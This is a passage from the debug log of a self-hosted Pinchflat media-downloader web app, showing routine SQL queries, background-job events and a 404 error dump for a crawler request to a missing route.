'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [4] 02:01:21.983 [info] Sent 200 in 26ms 02:01:21.984 [debug] QUERY OK source="media_items" db=0.9ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [4, 10, 0] 02:01:21.985 [info] Sent 200 in 29ms 02:01:25.588 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:37.605 [info] GET /sources/new 02:01:37.605 [info] GET /sources/new 02:01:37.605 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "4"} Pipelines: [:browser] 02:01:37.605 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "3"} Pipelines: [:browser] 02:01:37.606 [debug] QUERY OK source="sources" db=0.6ms idle=1962.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:01:37.606 [debug] QUERY OK source="sources" db=0.7ms idle=1962.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:01:37.607 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1796.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:01:37.607 [debug] QUERY OK source="media_profiles" db=0.6ms idle=964.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:01:37.608 [debug] QUERY OK source="settings" db=0.3ms idle=795.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.608 [debug] QUERY OK source="settings" db=0.3ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.609 [debug] QUERY OK source="settings" db=0.5ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.609 [debug] QUERY OK source="settings" db=0.8ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.610 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.611 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.612 [debug] QUERY OK source="settings" db=0.7ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.612 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.613 [debug] QUERY OK source="settings" db=0.3ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.613 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:37.618 [info] Sent 200 in 13ms 02:01:37.618 [info] Sent 200 in 13ms 02:01:42.453 [info] GET /sources/4/force_download_pending 02:01:42.454 [debug] QUERY OK source="settings" db=0.3ms idle=1811.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:42.455 [debug] QUERY OK source="settings" db=0.3ms idle=1811.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:42.455 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:01:42.456 [error] #PID<0.255477.0> running PinchflatWeb.Endpoint (connection #PID<0.255473.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51048}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255477.0>, params: %{}, path_info: ["sources", "4", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/4/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC62rZTT5xrmecAJnwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51048}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255473.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 51048}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255477.0>, params: %{}, path_info: ["sources", "4", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 02:01:42.609 [info] GET /sources/3/media/3313/edit 02:01:42.609 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3313", "source_id" => "3"} Pipelines: [:browser] 02:01:42.610 [debug] QUERY OK source="media_items" db=0.3ms idle=1966.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3313] 02:01:42.611 [debug] QUERY OK source="settings" db=0.2ms idle=1790.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:42.611 [debug] QUERY OK source="settings" db=0.1ms idle=788.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:42.612 [debug] QUERY OK source="settings" db=0.2ms idle=157.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:01:42.614 [info] Sent 200 in 5ms 02:01:55.590 [info] {"source":"oban","duration":1201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.252 [info] {"source":"oban","duration":235,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:02:25.592 [info] {"source":"oban","duration":1264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:34.659 [info] GET /sources/3/media/3301 02:02:34.659 [info] GET /sources/3/media/3298 02:02:34.659 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3301", "source_id" => "3"} Pipelines: [:browser] 02:02:34.659 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3298", "source_id" => "3"} Pipelines: [:browser] 02:02:34.661 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1016.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3301] 02:02:34.661 [debug] QUERY OK source="media_items" db=1.4ms idle=1016.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3298] 02:02:34.663 [debug] QUERY OK source="tasks" db=0.8ms idle=1018.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3301] 02:02:34.663 [debug] QUERY OK source="tasks" db=1.0ms idle=734.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3298] 02:02:34.664 [debug] QUERY OK source="sources" db=1.6ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:02:34.664 [debug] QUERY OK source="sources" db=1.7ms idle=19.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:02:34.664 [debug] QUERY OK source="settings" db=0.3ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.665 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.665 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.665 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.666 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.666 [debug] QUERY OK source="settings" db=0.5ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:34.668 [debug] QUERY OK source="media_profiles" db=0.3ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:02:34.668 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:02:34.672 [info] Sent 200 in 12ms 02:02:34.672 [info] Sent 200 in 12ms 02:02:47.028 [info] GET /sources/3/media/3309 02:02:47.028 [info] GET /sources/3/media/3296 02:02:47.028 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3296", "source_id" => "3"} Pipelines: [:browser] 02:02:47.029 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3309", "source_id" => "3"} Pipelines: [:browser] 02:02:47.030 [debug] QUERY OK source="media_items" db=1.0ms idle=386.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3309] 02:02:47.030 [debug] QUERY OK source="media_items" db=1.0ms idle=386.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3296] 02:02:47.031 [debug] QUERY OK source="tasks" db=0.8ms idle=387.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3296] 02:02:47.032 [debug] QUERY OK source="tasks" db=1.0ms idle=76.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3309] 02:02:47.032 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=387.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:02:47.032 [debug] QUERY OK source="sources" db=1.6ms idle=0.7ms SELECT s0."id", s0."enabled", 